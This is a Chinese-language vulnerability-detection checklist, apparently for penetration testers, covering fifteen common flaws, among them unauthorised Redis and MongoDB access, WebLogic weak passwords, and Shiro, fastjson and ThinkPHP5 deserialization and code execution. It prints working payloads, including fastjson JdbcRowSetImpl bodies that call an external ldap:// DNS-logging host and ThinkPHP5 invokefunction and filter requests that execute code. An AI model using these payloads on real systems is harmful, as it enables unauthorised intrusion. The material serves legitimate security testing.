文章目录
- 一、Redis未授权访问
- 二、MongoDB未授权访问
- 三、Elasticsearch未授权访问
- 四、Rsync未授权访问
- 五、Windows RDP远程代码执行漏洞(CVE-2019-0708)
- 六、Tomcat Web控制台弱口令
- 七、WebLogic控制台弱口令&反序列化系列漏洞
- 八、WebLogic SSRF(无检测方法)
- 九、WebLogic反序列化工具
- 十、JBoss反序列化&默认配置漏洞
- 十一、Apache Struts2远程代码执行漏洞
- 十二、Apache Shiro反序列化漏洞(无检测方法)
- 十三、fastjson反序列化漏洞
- 十四、Java RMI反序列化漏洞(无检测方法)
- 十五、ThinkPHP5 代码执行漏洞
一、Redis未授权访问
telnet
然后输入info,若回显Redis服务端版本等信息,说明存在未授权访问
二、MongoDB未授权访问
使用工具“Robo 3T”进行检测,创建指向MongoDB服务器的连接,输入IP地址和端口(默认端口为27017),然后点击Test按钮,如果存在未授权访问漏洞,将提示“Access to databases is available”
三、Elasticsearch未授权访问
在浏览器中直接访问Elasticsearch节点数据:http://www.example.com:9200/_nodes,当泄漏如下图信息时说明未授权访问漏洞存在。
四、Rsync未授权访问
在命令行中使用命令rsync rsync://:/(默认端口873)进行检测
若存在未授权访问漏洞,可以通过rsync rsync://://列出指定模块对应路径下的所有文件
五、Windows RDP远程代码执行漏洞(CVE-2019-0708)
使用工具“rdpscan.exe”进行检测,该工具支持检测单个IP段、CIDR格式IP地址和IP地址列表,具体用法如下:
(a) rdpscan.exe 192.168.1.0/24
(b) rdpscan.exe 192.168.1.1 -p 13389
(c) rdpscan.exe --file ip.txt
六、Tomcat Web控制台弱口令
在Kali Linux中运行msfconsole,使用auxiliary/scanner/http/tomcat_mgr_login模块,设置好RHOSTS、RPORT(默认为8080)、TARGETURL(默认为/manager/html),然后运行(run或者exploit)
七、WebLogic控制台弱口令&反序列化系列漏洞
在被测应用系统URL后添加随机字符串,出现404页面,若页面内容如下图,则被测应用系统的中间件为WebLogic.
测试方法
使用Burp Suite抓取访问被测应用系统的请求,在repeater模块中通过Change request method将请求方式从GET改为POST,将POST的URL修改为/bea_wls_deployment_internal/DeploymentService,并添加请求头username: weblogic和password: weblogic,然后发送请求,如下图:
若密码不正确,响应“401 Unauthorized”状态码,页面显示“Invalid user name or password”. 当密码正确时,响应“500 Internal Server Error”状态码
八、WebLogic SSRF(无检测方法)
http://www.example.com:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
若页面内容包含字符串“weblogic.uddi.client.structures.exception.XML_SoapException”, 则该WebLogic中间件可能存在SSRF漏洞
依次修改URL末尾的端口号为常见的22,80,443,7001,8080等端口,若页面中根据端口号不同出现如下字符串,说明存在SSRF漏洞。
九、WebLogic反序列化工具
十、JBoss反序列化&默认配置漏洞
抓包发现被测应用系统的响应头中包含JBoss字符串
或者被测应用系统的404页面包含JBossWeb字符串
测试方法
在Kali Linux中运行msfconsole,使用auxiliary/scanner/http/jboss_vulnscan模块,设置好RHOSTS、RPORT(默认为80),然后运行(run或者exploit)
十一、Apache Struts2远程代码执行漏洞
查看被测应用系统的源码,URL接口地址以 “.action” “.do” 结尾或地址中包含“!”符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-2..**.jar或xwork-core-2..**.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞。
检测工具
十二、Apache Shiro反序列化漏洞(无检测方法)
使用Burp Suite抓取访问被测应用系统的请求,在Cookie中添加“rememberMe=1”,重放发送到服务端,若响应包的头中包含“Set-Cookie: rememberMe=deleteMe”,则被测应用系统使用Shiro组件进行开发
在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在shiro-core-1...jar格式的jar文件,则需检测是否存在Shiro反序列化漏洞
十三、fastjson反序列化漏洞
查看在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在fastjson-1.2.*.**.jar格式的jar文件,或者抓包发现被测应用系统的响应报文中包含“com.alibaba.fastjson”字符串,则需检测是否存在fastjson反序列化漏洞
检测方法
如前所述,注册ceye.io的账号,使用fastjson反序列化漏洞验证代码及ceye.io的二级子域名http://ceye.io/profile检测目标应用是否存在fastjson反序列化漏洞,方法如下:
使用Burp Suite抓取存在json数据的请求包,修改请求体内容为以下检测内容(可依次检测):
(a){“@type”:“java.net.InetAddress”,“val”:“fastjson..ceye.io “}
(b){”@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:"ldap://fastjson..ceye.io /”,“autoCommit”:true}
(c){“name”:{“@type”:“java.lang.Class”,“val”:“com.sun.rowset.JdbcRowSetImpl”},“x”:{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://fastjson.******.ceye.io /”,“autoCommit”:true}}
然后访问http://ceye.io/records/dns, 若页面中出现了fastjson开头的三级子域名解析记录,说明目标存在fastjson反序列化漏洞,如下图:
十四、Java RMI反序列化漏洞(无检测方法)
被测应用系统所在服务器开放1099端口或者使用nmap(nmap -v -A -p1-65535 )对服务器进行端口扫描时,nmap识别到服务器的某端口的服务类型为Java RMI Registry,则需检测是否存在Java RMI反序列化漏洞
十五、ThinkPHP5 代码执行漏洞
访问被测应用系统,若报错页面内容包含“十年磨一剑-为API开发设计的高性能框架”,如下图,则被测应用系统使用ThinkPHP5开发。.
检测方法
http://www.example.com/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=hi
若响应包中包含字符串“49f68a5c8493ec2c0bf489821c21fc3b”,则说明存在代码执行漏洞,如下图:
POST【_method=__construct&filter[]=phpinfo&method=get&get[]=1】到http://www.example.com/?s=captcha,若响应包中包含phpinfo信息,则说明存在代码执行漏洞